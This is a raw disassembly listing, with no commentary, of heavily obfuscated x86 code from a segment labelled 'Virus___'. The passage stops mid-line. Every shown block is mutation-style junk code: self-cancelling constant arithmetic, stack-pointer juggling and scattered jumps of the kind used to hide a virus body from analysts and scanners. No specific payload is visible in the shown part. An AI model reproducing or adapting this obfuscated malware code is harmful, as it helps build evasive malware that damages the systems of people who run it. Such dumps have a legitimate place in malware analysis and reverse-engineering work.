--------------------------------------------------------------------------- loc_5513EB: ; CODE XREF: Virus___:0055D77Bj add esp, 4 jmp loc_55B67E ; --------------------------------------------------------------------------- loc_5513F6: ; CODE XREF: Virus___:005504B6j add edx, 69884940h add edx, ebx sub edx, 69884940h jmp loc_55164C ; --------------------------------------------------------------------------- loc_551409: ; CODE XREF: Virus___:0055DB36j dec ecx jmp loc_561EF7 ; --------------------------------------------------------------------------- loc_55140F: ; CODE XREF: Virus___:00561A29j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add esp, 4 jmp loc_55BF8B ; --------------------------------------------------------------------------- loc_551427: ; CODE XREF: Virus___:00561883j mov bl, 12h add bl, 0FFh not bl push 715Bh jmp loc_5638F4 ; --------------------------------------------------------------------------- loc_551438: ; CODE XREF: Virus___:0055FEE3j pop esp sub esi, 0FE4529AFh push 4EA9h mov [esp], esi jmp loc_55F8C5 ; --------------------------------------------------------------------------- loc_55144C: ; CODE XREF: Virus___:005584F3j and edx, 7F521015h xor edx, 30001004h add edi, edx pop edx push 7FE5h jmp loc_55CD13 ; --------------------------------------------------------------------------- loc_551465: ; CODE XREF: Virus___:00559061j mov edx, edi pop edi mov esi, 2E21285Eh xor esi, edx pop edx xor esi, 5D0F7FA6h push edx jmp loc_550EB8 ; --------------------------------------------------------------------------- loc_55147C: ; CODE XREF: Virus___:0055FE1Fj mov ebx, 141C410Fh sub ecx, ebx pop ebx jmp loc_562737 ; --------------------------------------------------------------------------- loc_551489: ; CODE XREF: Virus___:0055BE91j push edx mov edx, eax push eax push 76F2h mov [esp], edx jmp loc_55721B ; --------------------------------------------------------------------------- loc_55149A: ; CODE XREF: Virus___:00553D52j pop edx sub esp, 4 mov [esp], eax mov eax, 4 add edx, eax pop eax jmp loc_55D34E ; --------------------------------------------------------------------------- loc_5514B1: ; CODE XREF: Virus___:0055C8C9j push esi jmp loc_554FA3 ; --------------------------------------------------------------------------- loc_5514B7: ; CODE XREF: Virus___:005516EEj push eax mov al, 0E8h add cl, al pop eax add cl, ah sub cl, 0E8h push dword ptr [esp] pop eax add esp, 4 sub al, cl jmp loc_5520B2 ; --------------------------------------------------------------------------- loc_5514D0: ; CODE XREF: Virus___:00553830j mov esi, [esp] add esp, 4 xor eax, ebp pop ebp jmp loc_55AE70 ; --------------------------------------------------------------------------- loc_5514E1: ; CODE XREF: Virus___:005620C9j mov ebp, [esp] add esp, 4 mov ecx, ebx jmp loc_55C5F3 ; --------------------------------------------------------------------------- loc_5514F1: ; CODE XREF: Virus___:0055D042j push ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 4 sub ecx, ebp pop ebp xchg ecx, [esp] mov esp, [esp] mov [esp], edx mov edx, 5CD210B4h push ebp push 633F0466h pop ebp add edx, ebp pop ebp jmp loc_5635BD ; --------------------------------------------------------------------------- loc_551520: ; CODE XREF: Virus___:0055456Fj pop esp push dword ptr [eax] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_551528: ; CODE XREF: Virus___:0055F181j add edx, 566F63B2h pop esi jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_551534: ; CODE XREF: Virus___:0055F443j push 2450h mov [esp], edi mov edi, 4 add esi, edi jmp loc_56124D ; --------------------------------------------------------------------------- loc_551548: ; CODE XREF: Virus___:00550E44j mov ebx, [esp] add esp, 4 and ebx, edx mov edx, [esp] push esi push esp mov esi, [esp] add esp, 4 add esi, 4 add esi, 4 jmp loc_550CE7 ; --------------------------------------------------------------------------- loc_55156C: ; CODE XREF: Virus___:00553B7Bj push esi push edi mov edi, 70AD2F0Fh jmp loc_55454A ; --------------------------------------------------------------------------- loc_551578: ; CODE XREF: Virus___:0055EF96j inc esi shr esi, 7 sub esi, 0B61C34h add ecx, esi pop esi xchg ecx, [esp] jmp loc_559258 ; --------------------------------------------------------------------------- loc_55158D: ; CODE XREF: Virus___:00560C23j mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5515AA: ; CODE XREF: Virus___:00556941j mov ebp, edx pop edx sub ebx, 1BFD06C1h jmp loc_556AC8 ; --------------------------------------------------------------------------- loc_5515B8: ; CODE XREF: Virus___:00550038j push edx mov dh, bl jmp loc_561CDF ; --------------------------------------------------------------------------- loc_5515C0: ; CODE XREF: Virus___:005536F0j mov [esp], edx mov edx, 18C53973h sub edx, 61A81E0Ch and edx, 65944E8Ch push ecx jmp loc_55FE00 ; --------------------------------------------------------------------------- loc_5515DA: ; CODE XREF: Virus___:005580AFj shl ebx, 4 inc ebx xor ebx, 79307B5h jmp loc_55579B ; --------------------------------------------------------------------------- loc_5515E9: ; CODE XREF: Virus___:00563EB9j pop ebp and eax, edx pop edx jmp loc_559E95 ; --------------------------------------------------------------------------- loc_5515F2: ; CODE XREF: Virus___:00559560j xor edi, [esp] jmp loc_5646D6 ; --------------------------------------------------------------------------- loc_5515FA: ; CODE XREF: Virus___:00562799j mov edx, 612741EEh jmp loc_551C6F ; --------------------------------------------------------------------------- loc_551604: ; CODE XREF: Virus___:00555AE3j push edi not dword ptr [esp] pop edi xor edi, 0DAF8EEC3h push edi push edx mov edx, 18EF0736h xor [esp+4], edx mov edx, [esp] add esp, 4 push dword ptr [esp] pop ebx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ecx mov ecx, 18EF0736h xor ebx, ecx jmp loc_5619C9 ; --------------------------------------------------------------------------- loc_551644: ; CODE XREF: Virus___:0055E4F3j pop eax sub edi, ecx jmp loc_5552F0 ; --------------------------------------------------------------------------- loc_55164C: ; CODE XREF: Virus___:00551404j mov ebx, [esp] push ecx jmp loc_5535A5 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_55AE24 ; --------------------------------------------------------------------------- loc_55165E: ; CODE XREF: Virus___:0055234Aj pop esp mov [esp], dx jmp loc_5537D8 ; --------------------------------------------------------------------------- loc_551668: ; CODE XREF: Virus___:00553E2Aj or ebx, 66AE0B92h jmp loc_5636D5 ; --------------------------------------------------------------------------- loc_551673: ; CODE XREF: Virus___:0055E2D0j and ebx, 0DD96417h add ebx, 563F6C84h sub esp, 4 mov [esp], edi mov edi, 19556B26h xor edi, 0A93B437Ch add ebx, 63594842h sub ebx, edi jmp loc_55830F ; --------------------------------------------------------------------------- loc_5516A0: ; CODE XREF: Virus___:0055376Cj add edi, esi pop esi jmp loc_552199 ; --------------------------------------------------------------------------- loc_5516A8: ; CODE XREF: Virus___:0055A1C3j push 3F9Dh mov [esp], ecx push edx jmp loc_561F3D ; --------------------------------------------------------------------------- loc_5516B6: ; CODE XREF: Virus___:0055AB74j mov [esp], edi mov edi, esp add edi, 4 jmp loc_554978 ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] push small 7581h mov [esp], ax jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5516D8: ; CODE XREF: Virus___:0056046Aj mov cl, bh pop ebx pop eax push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 jmp loc_5514B7 ; --------------------------------------------------------------------------- loc_5516F3: ; CODE XREF: Virus___:005534B9j inc word ptr [esp] pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5516FD: ; CODE XREF: Virus___:0055AE06j pop dword ptr [esp] jmp loc_555E75 ; --------------------------------------------------------------------------- loc_551705: ; CODE XREF: Virus___:005547F9j push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 jmp loc_5588C4 ; --------------------------------------------------------------------------- loc_551714: ; CODE XREF: Virus___:0055AA45j mov esp, [esp] jmp loc_54F8D1 ; --------------------------------------------------------------------------- loc_55171C: ; CODE XREF: Virus___:0055DAB9j pop dword ptr [esp] mov esp, [esp] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_551727: ; CODE XREF: Virus___:0055B983j xor eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], edi push eax jmp loc_56116F ; --------------------------------------------------------------------------- loc_551744: ; CODE XREF: Virus___:005574C4j push eax mov eax, 2499064Ah jmp loc_560E27 ; --------------------------------------------------------------------------- mov ecx, [esp] push ecx push esp pop ecx push ebp push edx jmp loc_55E037 ; --------------------------------------------------------------------------- loc_55175C: ; CODE XREF: Virus___:0055EB1Cj push esi mov esi, 10003Dh add ecx, 156A4A3Dh sub ecx, esi sub ecx, 156A4A3Dh jmp loc_55EAB7 ; --------------------------------------------------------------------------- loc_551775: ; CODE XREF: Virus___:0055E513j add edx, 4 jmp loc_55DF52 ; --------------------------------------------------------------------------- loc_551780: ; CODE XREF: Virus___:0055C4B3j pop ebx push eax push ebx mov bl, 0AFh push edx push eax mov ah, bl mov dl, ah pop eax mov ah, dl pop edx pop ebx dec ah neg ah sub ah, 51h jmp loc_561479 ; --------------------------------------------------------------------------- loc_55179C: ; CODE XREF: Virus___:00554DCDj pop dword ptr [esp] pop esp jmp loc_55543B ; --------------------------------------------------------------------------- loc_5517A5: ; CODE XREF: Virus___:0055A7B1j add [esp+4], eax jmp loc_55F5A7 ; --------------------------------------------------------------------------- loc_5517AE: ; CODE XREF: Virus___:0055A06Aj push 59EA1F26h mov edx, [esp] add esp, 4 jmp loc_550CF2 ; --------------------------------------------------------------------------- loc_5517BE: ; CODE XREF: Virus___:005581D7j add ecx, 4 jmp loc_563456 ; --------------------------------------------------------------------------- loc_5517C6: ; CODE XREF: Virus___:005620F2j mov ebp, esp push 2FBDh mov [esp], ecx mov ecx, 37815115h push edi mov edi, 45197F21h add ecx, edi pop edi neg ecx push edx mov edx, 65FE61C7h add edx, 3E606263h push edi jmp loc_55A71A ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jz loc_5611EC push ecx jmp loc_561ACD ; --------------------------------------------------------------------------- loc_551803: ; CODE XREF: Virus___:0055D074j xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] jmp loc_56336F ; --------------------------------------------------------------------------- loc_55181A: ; CODE XREF: Virus___:00562310j xchg ecx, esi dec esi push 1BF9h mov [esp], eax push 0EDCC2A51h jmp loc_561671 ; --------------------------------------------------------------------------- loc_55182F: ; CODE XREF: Virus___:00563F73j mov ebp, esp push edx mov edx, 78BA5D38h jmp loc_554177 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push ebp jmp loc_554C9F ; --------------------------------------------------------------------------- loc_55184C: ; CODE XREF: Virus___:00561DA9j xchg edi, [esp] pop esp xor ebx, ecx jmp loc_55FD1D ; --------------------------------------------------------------------------- loc_551857: ; CODE XREF: Virus___:005643FDj add esi, 4 push esi push dword ptr [esp+4] jmp loc_5532C2 ; --------------------------------------------------------------------------- loc_551867: ; CODE XREF: Virus___:0056089Fj push ebp mov ebp, 97E510Fh mov esi, ebp mov ebp, [esp] jmp loc_564807 ; --------------------------------------------------------------------------- loc_551877: ; CODE XREF: Virus___:0055C98Dj push 6E62h mov [esp], edx push 3A0Bh mov [esp], ebx push ecx mov ecx, 2D3A76CFh mov ebx, 46D7642Ch xor ebx, ecx mov ecx, [esp] jmp loc_54FF59 ; --------------------------------------------------------------------------- loc_55189C: ; CODE XREF: Virus___:005648DEj add esp, 4 push dword ptr [esp] push dword ptr [esp] pop eax push ebx push esp jmp loc_5645D2 ; --------------------------------------------------------------------------- loc_5518AD: ; CODE XREF: Virus___:00555494j add esp, 4 push eax push edx push 3EF70055h pop edx dec edx inc edx xor edx, 0CD7662Eh jmp loc_55E4B8 ; --------------------------------------------------------------------------- loc_5518C8: ; CODE XREF: Virus___:00551CF5j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push 6E6Ah mov [esp], edx sub esp, 4 mov [esp], ecx jmp loc_552371 ; --------------------------------------------------------------------------- loc_5518EA: ; CODE XREF: Virus___:0055F2BEj add esi, 4 add esi, 4 xchg esi, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 xchg ebx, [esp] jmp loc_55478D ; --------------------------------------------------------------------------- loc_551909: ; CODE XREF: Virus___:00562C2Cj push esp mov esi, [esp] add esp, 4 push 0CCCh mov [esp], eax mov eax, 6FD3403Fh add eax, 1 push edx mov edx, 640936FEh and edx, 3CCF46FDh neg edx inc edx push ebx mov ebx, 4BB051AAh neg ebx sub ebx, 1DB568C6h dec ebx sub ebx, 0E2647ED0h add edx, ebx pop ebx sub eax, 0DC52AACh add eax, edx add eax, 0DC52AACh pop edx add esi, eax pop eax add esi, 4 jmp loc_55B91A ; --------------------------------------------------------------------------- loc_551965: ; CODE XREF: Virus___:005552B3j push 704Fh mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 pop ecx push 13C0h mov [esp], edx jmp loc_550F1E ; --------------------------------------------------------------------------- loc_551989: ; CODE XREF: Virus___:00563718j sub ebx, 0C295176h add ebx, 2C2BD182h add ecx, 0E32570Bh add ecx, ebx sub ecx, 0E32570Bh pop ebx jmp loc_561AB8 ; --------------------------------------------------------------------------- loc_5519A9: ; CODE XREF: Virus___:0055C46Dj not cl or cl, 13h add cl, 15h shr cl, 7 push eax jmp loc_555958 ; --------------------------------------------------------------------------- loc_5519BA: ; CODE XREF: Virus___:00564363j add esi, 1A216D31h pop edx add eax, 41C67ACh sub eax, esi sub eax, 41C67ACh jmp loc_560B42 ; --------------------------------------------------------------------------- loc_5519D2: ; CODE XREF: Virus___:005513DDj xor edx, 4B276914h sub eax, 251E0AB3h add eax, edx jmp loc_550C01 ; --------------------------------------------------------------------------- loc_5519E4: ; CODE XREF: Virus___:00562286j add esi, ebp pop ebp add esi, 5654F53h push esi pop ebx push dword ptr [esp] mov esi, [esp] add esp, 4 push eax mov eax, esp add eax, 4 jmp loc_564C7D ; --------------------------------------------------------------------------- loc_551A05: ; CODE XREF: Virus___:0055499Fj pop ebx jmp loc_55BF40 ; --------------------------------------------------------------------------- loc_551A0B: ; CODE XREF: Virus___:0055FCE6j mov ah, 43h sub ah, cl pop ecx push dx jmp loc_55F890 ; --------------------------------------------------------------------------- loc_551A17: ; CODE XREF: Virus___:00562ED2j push ebx mov bh, ah mov cl, bh jmp loc_55BD0B ; --------------------------------------------------------------------------- loc_551A21: ; CODE XREF: Virus___:005647AEj pop esp mov [esp], ebx mov ebx, 7B5C5605h jmp loc_56309F ; --------------------------------------------------------------------------- loc_551A2F: ; CODE XREF: Virus___:0055B213j shr esi, 5 push esi not dword ptr [esp] pop esi xor esi, 87ADE84Dh jmp loc_56227A ; --------------------------------------------------------------------------- loc_551A42: ; CODE XREF: Virus___:00564A70j inc ebx push ebp mov ebp, esp push ecx mov ecx, 4 jmp loc_561C77 ; --------------------------------------------------------------------------- loc_551A51: ; CODE XREF: Virus___:0055E810j push 5B3Dh mov [esp], ebx mov ebx, 7FA76F61h jmp loc_553F6C ; --------------------------------------------------------------------------- loc_551A63: ; CODE XREF: Virus___:0056191Ej xor eax, ebx push 33Ch mov [esp], ebp sub esp, 4 mov [esp], edi jmp loc_55371A ; --------------------------------------------------------------------------- loc_551A7B: ; CODE XREF: Virus___:0056066Cj push 380h jmp loc_55D2C0 ; --------------------------------------------------------------------------- loc_551A85: ; CODE XREF: Virus___:0056068Aj pop ebp pop dword ptr [esp] jmp loc_55133C ; --------------------------------------------------------------------------- loc_551A8E: ; CODE XREF: Virus___:00558DB1j mov edi, 7FD65E91h jmp loc_553545 ; --------------------------------------------------------------------------- loc_551A98: ; CODE XREF: Virus___:00550CCDj add eax, 1FB02D6Dh add eax, 65915B5Eh jmp loc_55E121 ; --------------------------------------------------------------------------- loc_551AA7: ; CODE XREF: Virus___:0055D259j sub ecx, 86196AD4h sub edx, ecx pop ecx jmp loc_556027 ; --------------------------------------------------------------------------- loc_551AB5: ; CODE XREF: Virus___:0055B64Bj mov ch, 51h sub ch, 31h sub bl, ch pop ecx add bl, cl add bl, 20h pop ecx movzx eax, al mov dx, [esp] push 5300h jmp loc_55E518 ; --------------------------------------------------------------------------- loc_551AD4: ; CODE XREF: Virus___:0055B4DFj pop ebp pop eax and eax, ebx jmp loc_551F30 ; --------------------------------------------------------------------------- loc_551ADD: ; CODE XREF: Virus___:005626C8j mov ebp, 530A7F95h sub edx, ebp mov ebp, [esp] add esp, 4 push ebx jmp loc_558F68 ; --------------------------------------------------------------------------- loc_551AF0: ; CODE XREF: Virus___:0055E57Cj sub esi, ebp jmp loc_552A17 ; --------------------------------------------------------------------------- loc_551AF7: ; CODE XREF: Virus___:0055F882j push 321B5392h push dword ptr [esp] pop edx add esp, 4 xor edx, 67992DB1h mov ecx, edx jmp loc_55DB35 ; --------------------------------------------------------------------------- loc_551B13: ; CODE XREF: Virus___:0055B5A0j pop ebp mov ebx, edi mov edi, [esp] push ecx jmp loc_55605D ; --------------------------------------------------------------------------- loc_551B1F: ; CODE XREF: Virus___:0055BE31j sub edi, 3EA6070Bh add edi, ebx add edi, 3EA6070Bh push dword ptr [esp] pop ebx jmp loc_557608 ; --------------------------------------------------------------------------- loc_551B36: ; CODE XREF: Virus___:005576DAj add edx, esi pop esi push edx not dword ptr [esp] pop edx add edx, 0C8C6FC23h or esi, edx pop edx push ebp jmp loc_55515A ; --------------------------------------------------------------------------- loc_551B4D: ; CODE XREF: Virus___:005636B3j mov [esp], cx push eax mov al, 0Dh jmp loc_555E57 ; --------------------------------------------------------------------------- loc_551B59: ; CODE XREF: Virus___:0055425Bj add edx, 6D2939A0h shl edx, 1 add edx, 0D35B3147h sub esi, edx pop edx push esi mov esi, 3E001E83h sub esi, 0F00ABDA6h add eax, esi jmp loc_55E88D ; --------------------------------------------------------------------------- loc_551B7D: ; CODE XREF: Virus___:0056398Fj pop ebp add edi, 472448E0h sub edi, 2EA42657h add edi, esi add edi, 2EA42657h push ebp push ecx mov ecx, 472448E0h jmp loc_5593A8 ; --------------------------------------------------------------------------- loc_551B9E: ; CODE XREF: Virus___:0055B668j xor edi, 0C400700h add ebp, 76503308h add ebp, edi sub ebp, 76503308h pop edi push 3F80h mov [esp], esi sub esp, 4 mov [esp], ebp mov ebp, 8CD15DBh push edi jmp loc_5590CC ; --------------------------------------------------------------------------- loc_551BCC: ; CODE XREF: Virus___:0055D666j push 4C2Fh mov [esp], ecx push esp pop ecx jmp loc_55355E ; --------------------------------------------------------------------------- loc_551BDB: ; CODE XREF: Virus___:0055F49Cj mov ch, 2Bh mov bh, 0E9h sub bh, ch pop ecx or cl, bh mov ebx, [esp] add esp, 4 sub cl, 58h add al, 99h sub al, cl jmp loc_56491C ; --------------------------------------------------------------------------- loc_551BF9: ; CODE XREF: Virus___:00557DEDj push dword ptr [esp+4] jmp loc_5557EB ; --------------------------------------------------------------------------- loc_551C02: ; CODE XREF: Virus___:005522BBj mov ebp, 4 add esi, 6F10780Eh add esi, 38B7D37h add esi, ebp sub esi, 38B7D37h sub esi, 6F10780Eh pop ebp push ebp mov ebp, esp push ebx mov ebx, 4B3F32DEh xor ebx, 4B3F32DAh add ebp, ebx pop ebx push ecx mov ecx, 4 sub ebp, ecx pop ecx xchg ebp, [esp] pop esp mov [esp], ebp push ebx mov ebx, 23AA5192h sub ebx, 70734E38h xor ebx, 45646754h shl ebx, 7 shl ebx, 5 xor ebx, 181A6676h push eax push edi push 6E003EAh pop edi jmp loc_5635D1 ; --------------------------------------------------------------------------- loc_551C6F: ; CODE XREF: Virus___:005515FFj push ebp jmp loc_5556D3 ; --------------------------------------------------------------------------- loc_551C75: ; CODE XREF: Virus___:0055CED1j pop edi xor esi, [esp] xor [esp], esi jmp loc_556BA5 ; --------------------------------------------------------------------------- loc_551C81: ; CODE XREF: Virus___:00557DC1j push eax jmp loc_555DC7 ; --------------------------------------------------------------------------- loc_551C87: ; CODE XREF: Virus___:00555329j shr ecx, 7 shr ecx, 5 xor ecx, 1BFD1C07h add ebx, ecx jmp loc_5531D6 ; --------------------------------------------------------------------------- loc_551C9A: ; CODE XREF: Virus___:0055447Bj mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_55FA24 ; --------------------------------------------------------------------------- loc_551CAB: ; CODE XREF: Virus___:005548E1j push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], edx push esi push 0F3E3533h jmp loc_551182 ; --------------------------------------------------------------------------- loc_551CC2: ; CODE XREF: Virus___:005513E6j xchg ecx, [esp] pop esp push edi mov edi, 2657FB8h and edi, 56D41D6Ah or edi, 5FD761D2h shr edi, 3 xor edi, 0BFAEFBBh add ecx, edi mov edi, [esp] add esp, 4 push edi mov edi, 4 add ecx, edi pop edi jmp loc_5518C8 ; --------------------------------------------------------------------------- loc_551CFA: ; CODE XREF: Virus___:00561FF6j xor esi, 0F713BDA5h sub ebx, 6A1C3DBAh add ebx, esi add ebx, 6A1C3DBAh push dword ptr [esp] jmp loc_553C8E ; --------------------------------------------------------------------------- loc_551D16: ; CODE XREF: Virus___:00556E51j not esi sub esi, 8A9040A5h mov ebp, esi pop esi mov eax, 48506C03h sub eax, ebp mov ebp, [esp] add esp, 4 push esi mov esi, 2E870A6Dh shr esi, 7 jmp loc_564020 ; --------------------------------------------------------------------------- loc_551D3F: ; CODE XREF: Virus___:00557A14j pop esp push ebp push edi jmp loc_55E284 ; --------------------------------------------------------------------------- loc_551D47: ; CODE XREF: Virus___:0055AF14j add eax, 3BC91689h pop edi jmp loc_5626F7 ; --------------------------------------------------------------------------- loc_551D52: ; CODE XREF: Virus___:0055B95Cj pop esp mov [esp], esi jmp loc_5601D3 ; --------------------------------------------------------------------------- loc_551D5B: ; CODE XREF: Virus___:0055E669j mov cl, 0E8h shr cl, 3 shl cl, 1 neg cl jmp loc_555922 ; --------------------------------------------------------------------------- loc_551D69: ; CODE XREF: Virus___:0055B9CDj mov edx, [esp] jmp loc_560AC5 ; --------------------------------------------------------------------------- loc_551D71: ; CODE XREF: Virus___:0055525Ej add edi, 4 sub esp, 4 mov [esp], edx jmp loc_556C52 ; --------------------------------------------------------------------------- loc_551D85: ; CODE XREF: Virus___:00557EA3j mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 2 xor ecx, [esp] xor [esp], ecx jmp loc_558F8A ; --------------------------------------------------------------------------- loc_551DA1: ; CODE XREF: Virus___:005572B9j push eax neg dword ptr [esp] pop eax push edi jmp loc_551216 ; --------------------------------------------------------------------------- loc_551DAC: ; CODE XREF: Virus___:00552182j xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_55B394 ; --------------------------------------------------------------------------- loc_551DBA: ; CODE XREF: Virus___:00564281j push ecx jmp loc_5582C2 ; --------------------------------------------------------------------------- loc_551DC0: ; CODE XREF: Virus___:00551F11j add ebx, 2F0367DBh add ebx, esi sub ebx, 2F0367DBh push dword ptr [esp] jmp loc_553B80 ; --------------------------------------------------------------------------- loc_551DD6: ; CODE XREF: Virus___:005543DBj mov edi, [esp] sub esp, 4 jmp loc_561ECD ; --------------------------------------------------------------------------- loc_551DE4: ; CODE XREF: Virus___:00553609j push edx mov edx, 4 add ebx, edx pop edx push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_550368 ; --------------------------------------------------------------------------- loc_551DFE: ; CODE XREF: Virus___:0055DF05j pop dx xor al, ch pop ecx push ebx push ecx mov cl, 3Ch inc cl jmp loc_556FF0 ; --------------------------------------------------------------------------- loc_551E0E: ; CODE XREF: Virus___:0055E5FCj jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_551E13: ; CODE XREF: Virus___:0055D1DBj sub ebp, 1D3E27BAh xor ebp, 0EC1835E3h and edi, ebp jmp loc_55BBCC ; --------------------------------------------------------------------------- loc_551E26: ; CODE XREF: Virus___:00560D7Bj neg edx push ebp mov ebp, 3DBA7E1Fh not ebp xor ebp, 23F0943Ch sub edx, ebp pop ebp jmp loc_55FEA3 ; --------------------------------------------------------------------------- loc_551E3E: ; CODE XREF: Virus___:00563FB9j pop esp mov fs:[edx], al jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_551E47: ; CODE XREF: Virus___:00553BD8j pop edi push 2FE8h mov [esp], ebx mov ebx, 4 jmp loc_559FE0 ; --------------------------------------------------------------------------- loc_551E5A: ; CODE XREF: Virus___:0054FC62j push edx jmp loc_55B33D ; --------------------------------------------------------------------------- loc_551E60: ; CODE XREF: Virus___:00551036j push 2ABDh mov [esp], eax jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_551E6D: ; CODE XREF: Virus___:0055E89Ej xor [esp], eax jmp loc_561FD3 ; --------------------------------------------------------------------------- loc_551E75: ; CODE XREF: Virus___:00559D59j sub dl, 7Dh add bl, dl jmp loc_562AC5 ; --------------------------------------------------------------------------- loc_551E7F: ; CODE XREF: Virus___:00553895j sub ebx, 21AC372Eh mov eax, [esp] add esp, 4 and eax, ebx pop ebx or edx, eax shl edx, 1 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx jmp loc_55DC14 ; --------------------------------------------------------------------------- loc_551EB0: ; CODE XREF: Virus___:00550317j push 6E72h mov [esp], eax mov edx, [esp] push ebp sub esp, 4 jmp loc_561426 ; --------------------------------------------------------------------------- loc_551EC7: ; CODE XREF: Virus___:0055C8C3j inc eax neg eax sub esp, 4 mov [esp], esi push ecx mov ecx, 67E8196Fh add ecx, 488B7E07h neg ecx shl ecx, 1 sub ecx, 25377CEDh push edx mov edx, 75533A94h neg edx push esi mov esi, 52E33A1Ch dec esi dec esi jmp loc_557631 ; --------------------------------------------------------------------------- loc_551EFB: ; CODE XREF: Virus___:005555B4j pop eax not cl shr cl, 4 push 38D0h jmp loc_559C66 ; --------------------------------------------------------------------------- loc_551F0B: ; CODE XREF: Virus___:00564177j add esp, 4 jmp loc_551DC0 ; --------------------------------------------------------------------------- loc_551F16: ; CODE XREF: Virus___:00552232j and bh, 67h or bh, 23h sub bh, 0FAh sub dh, bh pop ebx push eax mov al, dh jmp loc_55F4F3 ; --------------------------------------------------------------------------- loc_551F2A: ; CODE XREF: Virus___:0054FE2Dj push ebx jmp loc_55BEC7 ; --------------------------------------------------------------------------- loc_551F30: ; CODE XREF: Virus___:00551AD8j push dword ptr [esp] jmp loc_55C557 ; --------------------------------------------------------------------------- loc_551F38: ; CODE XREF: Virus___:005562FBj sub eax, ecx pop ecx push ebx mov ebx, 43244B58h and ebx, 657B358Bh sub ebx, 0FFFFFFFFh push edx mov edx, 58BD64B1h or edx, 25076679h add edx, 5C731D9Fh or edx, 56906BF3h not edx jmp loc_55A775 ; --------------------------------------------------------------------------- loc_551F69: ; CODE XREF: Virus___:005568FDj mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 push 72D7h mov [esp], edi jmp loc_562E01 ; --------------------------------------------------------------------------- loc_551F89: ; CODE XREF: Virus___:005638C7j sub esi, 225A23A7h sub esi, 0D0B473Bh add esi, eax add esi, 0D0B473Bh push edx jmp loc_55F464 ; --------------------------------------------------------------------------- loc_551FA3: ; CODE XREF: Virus___:005506F1j push ebx jmp loc_55FE87 ; --------------------------------------------------------------------------- loc_551FA9: ; CODE XREF: Virus___:00557A2Cj mov ecx, [esp] jmp loc_5605AF ; --------------------------------------------------------------------------- loc_551FB1: ; CODE XREF: Virus___:00560A88j push dword ptr [esp] pop eax add esp, 4 add edi, ebp pop ebp add edi, 2 xor edi, [esp] jmp loc_564944 ; --------------------------------------------------------------------------- loc_551FC9: ; CODE XREF: Virus___:00560006j sub edi, 4 xchg edi, [esp] pop esp jmp loc_561A40 ; --------------------------------------------------------------------------- loc_551FD5: ; CODE XREF: Virus___:005575B0j shl ecx, 5 push edx mov edx, 6F2D15B4h and ecx, edx pop edx not ecx jmp loc_559CF7 ; --------------------------------------------------------------------------- loc_551FE8: ; CODE XREF: Virus___:00552F64j xor ecx, 6E2EBDh sub ebp, ecx mov ecx, [esp] add esp, 4 mov edi, [esp] push 4E7Ch mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_559565 ; --------------------------------------------------------------------------- loc_55200E: ; CODE XREF: Virus___:00554E5Aj mov edx, 6F90692h xor edx, 0C5C50487h sub edi, edx jmp loc_55225B ; --------------------------------------------------------------------------- loc_552020: ; CODE XREF: Virus___:0055315Aj pop edi push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_552032: ; CODE XREF: Virus___:005602EBj pop edx sub bl, cl pop cx movzx eax, al mov dx, [esp] push edx mov edx, esp push eax push ebx mov ebx, 3B5940CFh mov eax, ebx mov ebx, [esp] jmp loc_559316 ; --------------------------------------------------------------------------- loc_552052: ; CODE XREF: Virus___:005623B6j push eax push ebx mov ebx, 2 jmp loc_55F3A3 ; --------------------------------------------------------------------------- loc_55205E: ; CODE XREF: Virus___:0055751Fj mov [esp], edi mov edi, esp add edi, 4 jmp loc_55CF20 ; --------------------------------------------------------------------------- loc_55206E: ; CODE XREF: Virus___:00553DE5j add al, 60h mov cx, [esp] jmp loc_560BC7 ; --------------------------------------------------------------------------- loc_552079: ; CODE XREF: Virus___:0055DDA5j push 0D6Eh mov [esp], ebx sub esp, 4 mov [esp], ecx mov ecx, 36E90639h sub ecx, 78BD4EC4h not ecx not ecx shr ecx, 8 jmp loc_55C37B ; --------------------------------------------------------------------------- loc_55209E: ; CODE XREF: Virus___:00563481j xor edi, 5DAF0910h shl edi, 3 add edi, 0BA80555Ch jmp loc_55F810 ; --------------------------------------------------------------------------- loc_5520B2: ; CODE XREF: Virus___:005514CBj mov cx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 2 xchg ecx, [esp] pop esp push small 7611h mov [esp], dx push 6903h jmp loc_55B5EF ; --------------------------------------------------------------------------- loc_5520DB: ; CODE 